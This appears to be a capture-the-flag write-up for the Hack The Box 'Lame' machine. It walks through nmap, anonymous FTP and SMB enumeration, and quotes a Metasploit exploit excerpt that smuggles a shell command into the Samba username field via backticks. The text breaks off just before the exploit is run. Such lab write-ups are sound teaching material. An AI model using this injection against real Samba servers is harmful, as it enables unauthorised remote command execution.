Lame was the first box released on HTB (as far as I can tell). It’s a super easy box, easily knocked over with a Samba version exploit to a root shell.
Vulnerability Explanation: The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the remote printer and file share management.
Vulnerability Fix: These vulnerabilities are addressed in Samba version 3.0.25. In addition, patches are available to address this vulnerability in Samba version 3.0.24. Refer to the Samba Security Releases website for more information.
Privilege Escalation Vulnerability: NONE
Vulnerability Fix: NONE
Severity:Critical
An initial nmap scan revealed a Samba as smbd 3.0.20-Debian version.
┌──(root💀kali)-[/root/CTF/htb/linux/lame]
└─# cat nmap/initial
# Nmap 7.92 scan initiated Sat Oct 1 22:23:01 2022 as: nmap -sC -sV -v -oN nmap/initial 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.31s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.7
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2022-10-01T17:23:54-04:00
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h00m09s, deviation: 2h49m47s, median: 5s
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 1 22:24:25 2022 -- 1 IP address (1 host up) scanned in 84.15 seconds
FTP (21/tcp)
FTP Anonymous login is enabled , but no file / folder is shared.
┌──(root💀kali)-[/root/CTF/htb/linux/lame]
└─# ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 .
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 ..
226 Directory send OK.
ftp> cd /
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 .
drwxr-xr-x 2 0 65534 4096 Mar 17 2010 ..
226 Directory send OK.
ftp>
Samba (445/tcp)
Using smbclinet , list all available services on the server.
┌──(root💀kali)-[/root/CTF/htb/linux/lame]
└─# smbclient -L 10.10.10.3 130 ⨯
Enter WORKGROUP\kali's password:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP LAME
Using the searchsploit tool, search for any public vulnerability related to samba 3.0.20 :
Reading the Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) exploit, and then use the same methodology to exploit the samba vulnerability.
...SNIP...defexploit connect# lol? username = "/=`nohup "+ payload.encoded+"`"begin simple.client.negotiate(false) simple.client.session_setup_ntlmv1(username,rand_text(16), datastore['SMBDomain'],false)rescue::Timeout::Error,XCEPT::LoginError# nothing, it either worked or it didn't ;)end handlerend...SNIP...
Access to the shared disk (tmp) using smbclient .
┌──(root💀kali)-[/root/CTF/htb/linux/lame]
└─# smbclient //10.10.10.3/tmp 1 ⨯
Enter WORKGROUP\kali's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Oct 1 22:56:43 2022
.. DR 0 Sat Oct 31 07:33:58 2020
5559.jsvc_up R 0 Sat Oct 1 22:14:04 2022
.ICE-unix DH 0 Sat Oct 1 22:13:03 2022
vmware-root DR 0 Sat Oct 1 22:13:35 2022
.X11-unix DH 0 Sat Oct 1 22:13:27 2022
.X0-lock HR 11 Sat Oct 1 22:13:27 2022
vgauthsvclog.txt.0 R 1600 Sat Oct 1 22:13:01 2022
7282168 blocks of size 1024. 5386516 blocks available
smb: \>
Launch a local nc listener on the local machine and execute the exploit as the follow:
